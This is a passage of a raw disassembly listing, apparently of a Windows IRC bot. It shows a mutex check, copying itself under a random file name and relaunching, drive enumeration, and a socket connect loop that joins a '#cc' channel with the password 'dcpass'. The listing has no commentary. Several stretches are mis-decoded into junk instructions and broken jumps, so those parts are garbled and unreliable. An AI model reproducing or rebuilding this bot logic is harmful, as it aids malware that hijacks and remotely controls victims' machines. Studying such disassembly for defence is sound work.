loc_4095F3:				; CODE XREF: .nsp0:004095E5j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_411EEE


loc_4095FF:				; CODE XREF: .nsp0:004095C2j
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_409627
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40F9F1
		add	esp, 14h


loc_409627:				; CODE XREF: .nsp0:00409605j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_408E17
		pop	ecx


loc_409634:				; CODE XREF: .nsp0:004093F7j
					; .nsp0:00409480j ...
		push	dword ptr [ebp-18h]
		call	dword_433AFC	; InternetCloseHandle
		push	dword ptr [ebp-48h]
		call	sub_411CB6
		pop	ecx
		push	esi
		call	near ptr 0AB0000h


loc_40964C:				; CODE XREF: .nsp0:00409279p
		jge	short loc_4095D9
		inc	esp
		and	al, 4
		xor	ecx, ecx
		cmp	[esp+8], ecx
		jle	short locret_409669


loc_409659:				; CODE XREF: .nsp0:00409667j
		mov	dl, byte_425B6C
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+8]
		jl	short loc_409659

locret_409669:				; CODE XREF: .nsp0:00409657j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40966A	proc near		; CODE XREF: .nsp0:0040C856p
					; .nsp0:0040C9B5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_413EAF
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40966A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409684	proc near		; CODE XREF: sub_404A02+45Dp
					; sub_404A02+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_437E98
		push	0
		push	edi
		call	sub_411F70
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_4096A9:				; CODE XREF: sub_409684+5Bj
					; sub_409684+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_413B10
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_413B90
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_4096E7
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_4096A9
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_4096A9
; ---------------------------------------------------------------------------


loc_4096E7:				; CODE XREF: sub_409684+4Bj
		dec	esi
		mov	eax, edi


loc_4096EA:				; CODE XREF: sub_409684+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_4096F9
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_4096EA
; ---------------------------------------------------------------------------


loc_4096F9:				; CODE XREF: sub_409684+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409684	endp


; =============== S U B	R O U T	I N E =======================================



sub_409703	proc near		; CODE XREF: sub_4098AF+51p
					; sub_4098AF+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_433B28	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_409746
		dec	eax
		jz	short loc_409740
		dec	eax
		dec	eax
		jz	short loc_40973A
		dec	eax
		jz	short loc_409734
		dec	eax
		jz	short loc_40972E
		dec	eax
		jz	short loc_409728
		mov	eax, offset word_425638
		retn
; ---------------------------------------------------------------------------


loc_409728:				; CODE XREF: sub_409703+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_40972E:				; CODE XREF: sub_409703+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_409734:				; CODE XREF: sub_409703+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40973A:				; CODE XREF: sub_409703+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_409740:				; CODE XREF: sub_409703+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_409746:				; CODE XREF: sub_409703+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_409703	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40974C	proc near		; CODE XREF: sub_409794+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4339C4
		test	eax, eax
		jz	short loc_409781
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax ; dword_4339C4


loc_409781:				; CODE XREF: sub_40974C+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40974C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409794	proc near		; CODE XREF: sub_4098AF+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40974C
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40986C
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40986C
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40986C
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_413F00
		push	edx
		push	eax
		call	sub_409684
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41246A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_413F00
		push	edx
		push	eax
		call	sub_409684
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41246A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_413F00
		push	edx
		push	eax
		call	sub_409684
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41246A
		add	esp, 18h
		pop	ebx
		jmp	short loc_40989B
; ---------------------------------------------------------------------------


loc_40986C:				; CODE XREF: sub_409794+2Cj
					; sub_409794+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_411EEE
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_411EEE
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_411EEE
		add	esp, 18h


loc_40989B:				; CODE XREF: sub_409794+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_409794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4098AF	proc near		; CODE XREF: sub_409981+17p
					; sub_409981+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_409794
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_412310
		add	esp, 10h
		test	eax, eax
		jnz	short loc_409922
		push	ebx
		push	ebx
		call	sub_409703
		pop	ecx
		push	eax
		push	offset dword_425AF8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41246A
		add	esp, 14h
		jmp	short loc_409956
; ---------------------------------------------------------------------------


loc_409922:				; CODE XREF: sub_4098AF+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_409703
		pop	ecx
		push	eax
		push	offset dword_425AA8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41246A
		add	esp, 20h


loc_409956:				; CODE XREF: sub_4098AF+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F9F1
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_408E17
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4098AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409981	proc near		; CODE XREF: .nsp0:0040EFC9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_4099A2
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4098AF
		add	esp, 10h
		jmp	short loc_409A03
; ---------------------------------------------------------------------------


loc_4099A2:				; CODE XREF: sub_409981+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_433A38	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_41279F
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_433A38	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_4099FA


loc_4099C6:				; CODE XREF: sub_409981+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_412310
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4099E9
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4098AF
		add	esp, 10h


loc_4099E9:				; CODE XREF: sub_409981+54j
		push	esi
		call	sub_4126F0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_4099C6


loc_4099FA:				; CODE XREF: sub_409981+43j
		push	edi
		call	sub_412813
		pop	ecx
		pop	edi
		pop	esi


loc_409A03:				; CODE XREF: sub_409981+1Fj
		pop	ebx
		pop	ebp
		retn
sub_409981	endp

; ---------------------------------------------------------------------------


loc_409A06:				; DATA XREF: .nsp0:00409B02o
		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_438C64
		call	dword_433B60	; closesocket
		call	sub_411B63
		call	dword_433A28	; WSACleanup
		call	dword_433A28	; WSACleanup
		mov	ebx, dword_41D05C
		push	64h
		call	ebx ; dword_41D05C
		xor	edi, edi
		push	10h
		lea	eax, [ebp-10h]
		push	edi
		push	eax
		call	sub_411F70
		push	44h
		lea	eax, [ebp-54h]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_411F70
		add	esp, 18h
		mov	[ebp-54h], esi
		mov	esi, 104h
		lea	eax, [ebp-25Ch]
		push	esi
		push	eax
		mov	dword ptr [ebp-48h], offset byte_432708
		mov	dword ptr [ebp-28h], 1
		mov	[ebp-24h], di
		call	near ptr 0AB0000h
		inc	edi
		lea	eax, [ebp-158h]
		push	esi
		push	eax
		push	edi
		call	near ptr 0AB0000h
		mov	ch, 8Dh
		inc	ebp
		lock push eax
		lea	eax, [ebp-54h]
		push	eax
		lea	eax, [ebp-25Ch]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp-158h]
		push	edi
		push	eax
		push	edi
		call	near ptr 0AB0000h
		xchg	eax, edx
		test	eax, eax
		jz	short loc_409ACB
		push	64h
		call	ebx ; dword_41D05C
		push	dword ptr [ebp-10h]
		mov	esi, dword_41D074
		call	esi ; dword_41D074
		push	dword ptr [ebp-0Ch]
		call	esi ; dword_41D074


loc_409ACB:				; CODE XREF: .nsp0:00409AB5j
		mov	eax, [ebp+10h]
		mov	dword ptr [eax+0B0h], offset dword_437ED0
		mov	eax, [esp]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_41D108	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx
		push	ebp
		mov	ebp, esp
		sub	esp, 98Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-10h], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-8], offset loc_409A06
		push	dword ptr [ebp-8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	dword_425B60, ebx
		jz	short loc_409B27
		call	sub_407E71


loc_409B27:				; CODE XREF: .nsp0:00409B20j
		mov	esi, dword_41D048
		call	esi ; dword_41D048
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_461F48, eax
		call	esi ; dword_41D048
		push	eax
		call	sub_411F40
		pop	ecx
		call	sub_4068C6
		push	2
		call	dword_433B74	; SetErrorMode
		push	7530h
		push	offset aIds4473	; "ids4473"
		push	ebx
		push	ebx
		call	near ptr 0AB0000h
		popa
		push	eax
		call	near ptr 0AB0000h
		push	edi
		cmp	eax, 102h
		jnz	short loc_409B7B
		push	1
		call	dword_41D108	; ExitProcess


loc_409B7B:				; CODE XREF: .nsp0:00409B71j
		lea	eax, [ebp-888h]
		push	eax
		push	202h
		call	dword_433A40	; WSAStartup
		cmp	eax, ebx
		mov	[ebp-8], eax
		jnz	loc_40A050
		cmp	byte ptr [ebp-888h], 2
		jnz	loc_40A04A
		xor	eax, eax
		mov	al, [ebp-887h]
		cmp	al, 2
		jnz	loc_40A04A
		mov	esi, 104h
		lea	eax, [ebp-3F4h]
		push	esi
		push	eax
		call	near ptr 0AB0000h
		repne lea eax, [ebp-2F0h]
		push	esi
		push	eax
		push	ebx
		call	near ptr 0AB0000h
		loop	loc_409C28
		call	near ptr 0AB0000h
		stosd
		lea	eax, [ebp-5F8h]
		push	eax
		lea	eax, [ebp-6F8h]
		push	eax
		push	ebx
		lea	eax, [ebp-2F0h]
		push	ebx
		push	eax
		call	sub_413BF8
		lea	eax, [ebp-5F8h]
		push	eax
		lea	eax, [ebp-6F8h]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp-4F8h]
		push	esi
		push	eax
		call	sub_41246A
		lea	eax, [ebp-3F4h]
		push	eax
		lea	eax, [ebp-2F0h]
		push	eax


loc_409C28:				; CODE XREF: .nsp0:00409BD6j
		call	sub_4124C0
		add	esp, 30h
		test	eax, eax
		jnz	loc_409DDE
		cmp	dword_4620B8, ebx
		mov	esi, offset byte_425BC0
		jz	short loc_409C76
		push	esi
		xor	edi, edi
		call	sub_4126F0
		sub	eax, 4
		pop	ecx
		jz	short loc_409C76


loc_409C53:				; CODE XREF: .nsp0:00409C74j
		call	sub_411F4A
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_425BC0[edi], dl
		inc	edi
		call	sub_4126F0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_409C53


loc_409C76:				; CODE XREF: .nsp0:00409C43j
					; .nsp0:00409C51j
		lea	eax, [ebp-3F4h]
		push	esi
		push	eax
		lea	eax, [ebp-1ECh]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_411EEE
		add	esp, 10h
		lea	eax, [ebp-1ECh]
		push	eax
		call	dword_41D080	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short near ptr loc_409CB5+1
		lea	eax, [ebp-1ECh]
		push	80h
		push	eax
		call	near ptr 0AB0000h


loc_409CB5:				; CODE XREF: .nsp0:00409CA2j
		test	[ebx+41D11835h], ecx
		add	[ebp-1EB7Bh], cl
		call	dword ptr [ebx+50h]
		lea	eax, [ebp-2F0h]
		xor	edi, edi
		push	eax


loc_409CCD:				; CODE XREF: .nsp0:00409D04j
		call	esi ; byte_425BC0
		test	eax, eax
		jnz	short loc_409D06
		call	dword_41D06C	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_409D06
		cmp	eax, 20h
		jz	short loc_409CE7
		cmp	eax, 5
		jnz	short loc_409D06


loc_409CE7:				; CODE XREF: .nsp0:00409CE0j
		push	1
		pop	edi
		push	3A98h
		call	dword_41D05C	; Sleep
		lea	eax, [ebp-1ECh]
		push	ebx
		push	eax
		lea	eax, [ebp-2F0h]
		push	eax
		jmp	short loc_409CCD
; ---------------------------------------------------------------------------


loc_409D06:				; CODE XREF: .nsp0:00409CD1j
					; .nsp0:00409CDBj ...
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_407C23
		pop	ecx
		lea	eax, [ebp-1ECh]
		push	7
		push	eax
		call	near ptr 0AB0000h
		shr	dword ptr [edx+10h], 1
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_411F70
		push	44h
		lea	eax, [ebp-68h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_411F70
		add	esp, 18h
		mov	[ebp-68h], esi
		mov	dword ptr [ebp-5Ch], offset byte_432708
		mov	[ebp-38h], bx
		push	1
		pop	esi
		mov	[ebp-3Ch], esi
		call	near ptr 0AB0000h
		or	[eax+56h], edx
		push	100000h
		call	near ptr 0AB0000h
		push	esi
		lea	ecx, [ebp-2F0h]
		push	ecx
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		lea	eax, [ebp-98Ch]
		push	offset dword_42CC40
		push	eax
		call	sub_411EEE
		add	esp, 14h
		lea	eax, [ebp-24h]
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-3F4h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-98Ch]
		push	ebx
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	near ptr 0AB0000h
		movsd
		test	eax, eax
		jz	short loc_409DDE
		push	0C8h
		call	dword_41D05C	; Sleep
		push	dword ptr [ebp-24h]
		mov	esi, dword_41D074
		call	esi ; dword_41D074
		push	dword ptr [ebp-20h]
		call	esi ; dword_41D074
		call	dword_433A28	; WSACleanup
		push	ebx
		call	dword_41D108	; ExitProcess


loc_409DDE:				; CODE XREF: .nsp0:00409C32j
					; .nsp0:00409DB4j
		cmp	dword_462BE0, 2
		jle	short loc_409E2A
		mov	eax, dword_462BE4
		push	dword ptr [eax+4]
		call	sub_41245F
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 0AB0000h
		repne push esi
		call	dword_41D074	; CloseHandle
		mov	eax, dword_462BE4
		cmp	[eax+8], ebx
		jz	short loc_409E2A
		push	7D0h
		call	dword_41D05C	; Sleep
		mov	eax, dword_462BE4
		push	dword ptr [eax+8]
		call	near ptr 0AB0000h
		das


loc_409E2A:				; CODE XREF: .nsp0:00409DE5j
					; .nsp0:00409E0Fj
		cmp	dword_425B68, ebx
		jz	short loc_409E47
		cmp	dword_433B98, ebx
		jnz	short loc_409E47
		lea	eax, [ebp-4F8h]
		push	eax
		call	sub_409026
		pop	ecx


loc_409E47:				; CODE XREF: .nsp0:00409E30j
					; .nsp0:00409E38j
		lea	eax, [ebp-0E8h]
		push	offset dword_42CC14
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-0E8h]
		push	ebx
		push	eax
		call	sub_41199A
		lea	eax, [ebp-0E8h]
		push	eax
		call	sub_408E17
		push	0B80h
		push	ebx
		push	offset dword_437ED8
		call	sub_411F70
		lea	eax, [ebp-0E8h]
		push	offset unk_42CBD8
		push	eax
		call	sub_411EEE
		push	ebx
		lea	eax, [ebp-0E8h]
		push	1
		push	eax
		call	sub_41199A
		add	esp, 38h
		mov	esi, eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4F8h]
		push	ebx
		push	eax
		push	offset sub_409096
		push	ebx
		push	ebx
		call	dword_41D070	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_438C6C[esi], eax
		jnz	short loc_409EEB
		call	dword_41D06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-0E8h]
		push	offset unk_42CB88
		push	eax
		call	sub_411EEE
		add	esp, 0Ch


loc_409EEB:				; CODE XREF: .nsp0:00409ECEj
		lea	eax, [ebp-0E8h]
		push	eax
		call	sub_408E17
		call	sub_411F4A
		push	7Fh
		push	offset a1068346466 ; "1068346466"
		push	offset dword_461F54
		mov	dword_4620CC, ebx
		call	sub_413710
		mov	eax, dword_425B4C
		push	3Fh
		mov	edi, offset dword_461FD4
		push	offset aCc	; "#cc"
		push	edi
		mov	dword_4620A4, eax
		call	sub_413710
		push	3Fh
		mov	esi, offset dword_462014
		push	offset aDcpass	; "dcpass"
		push	esi
		call	sub_413710
		add	esp, 28h
		mov	dword_4620A8, ebx


loc_409F4A:				; CODE XREF: .nsp0:00409FF0j
					; .nsp0:00409FFBj ...
		mov	[ebp-4], ebx


loc_409F4D:				; CODE XREF: .nsp0:00409FA4j
		cmp	dword_433BB0, ebx
		jnz	short loc_409F6B
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		call	dword_433A0C	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_409F6B
		push	7530h
		jmp	short loc_409F97
; ---------------------------------------------------------------------------


loc_409F6B:				; CODE XREF: .nsp0:00409F53j
					; .nsp0:00409F62j
		push	offset dword_461F50
		mov	dword_4620C8, ebx
		call	sub_40A059
		cmp	eax, 2
		mov	[ebp-8], eax
		jz	loc_40A045
		cmp	dword_4620C8, ebx
		jz	short loc_409F92
		dec	dword ptr [ebp-4]


loc_409F92:				; CODE XREF: .nsp0:00409F8Dj
		push	0BB8h


loc_409F97:				; CODE XREF: .nsp0:00409F69j
		call	dword_41D05C	; Sleep
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_409F4D
		cmp	dword ptr [ebp-8], 2
		jz	loc_40A045
		cmp	[ebp-0Ch], ebx
		jz	short loc_409FF5
		push	7Fh
		push	offset a1068346466 ; "1068346466"
		push	offset dword_461F54
		call	sub_413710
		mov	eax, dword_425B4C
		push	3Fh
		push	offset aCc	; "#cc"
		push	edi
		mov	dword_4620A4, eax
		call	sub_413710
		push	3Fh
		push	offset aDcpass	; "dcpass"
		push	esi
		call	sub_413710
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_409F4A
; ---------------------------------------------------------------------------


loc_409FF5:				; CODE XREF: .nsp0:00409FB3j
		cmp	byte_425BA8, bl
		jz	loc_409F4A
		push	7Fh
		push	offset byte_425BA8
		push	offset dword_461F54
		call	sub_413710
		mov	eax, dword_425B50
		push	3Fh
		push	offset aCc_0	; "#cc"
		push	edi
		mov	dword_4620A4, eax
		call	sub_413710
		push	3Fh
		push	offset aDcpass_0 ; "dcpass"
		push	esi
		call	sub_413710
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_409F4A
; ---------------------------------------------------------------------------


loc_40A045:				; CODE XREF: .nsp0:00409F81j
					; .nsp0:00409FAAj
		call	sub_411B63


loc_40A04A:				; CODE XREF: .nsp0:00409B9Fj
					; .nsp0:00409BAFj
		call	dword_433A28	; WSACleanup


loc_40A050:				; CODE XREF: .nsp0:00409B92j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A059	proc near		; CODE XREF: .nsp0:00409F76p
					; DATA XREF: .nsp0:0040D8F7o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40A07E:				; CODE XREF: sub_40A059+E6j
					; sub_40A059+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_411F70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_433AC8	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_407F2F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40A1AB
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_411F70
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4620BC
		push	dword_425B74
		push	eax
		call	sub_4110D8
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_438C70
		push	edi
		push	eax
		call	sub_413710
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_433B48	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_438C64[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_433A70	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40A144
		push	esi
		call	dword_433B60	; closesocket
		call	sub_407F58
		push	7D0h


loc_40A139:				; CODE XREF: sub_40A059+146j
		call	dword_41D05C	; Sleep
		jmp	loc_40A07E
; ---------------------------------------------------------------------------


loc_40A144:				; CODE XREF: sub_40A059+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset dword_42CC4C
		call	sub_408E8B
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40A1C1
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_433B60	; closesocket
		test	edi, edi
		jz	loc_40A07E
		cmp	edi, 1
		jnz	short loc_40A1A1
		push	0DBBA0h
		jmp	short loc_40A139
; ---------------------------------------------------------------------------


loc_40A1A1:				; CODE XREF: sub_40A059+13Fj
		cmp	edi, 2
		jz	short loc_40A1AF
		jmp	loc_40A07E
; ---------------------------------------------------------------------------


loc_40A1AB:				; CODE XREF: sub_40A059+5Aj
		xor	eax, eax
		jmp	short loc_40A1BB
; ---------------------------------------------------------------------------


loc_40A1AF:				; CODE XREF: sub_40A059+14Bj
		push	[ebp+var_34]
		call	sub_411CB6
		pop	ecx
		push	2
		pop	eax


loc_40A1BB:				; CODE XREF: sub_40A059+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40A059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A1C1	proc near		; CODE XREF: sub_40A059+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_412770
		push	ebx
		push	esi
		push	edi
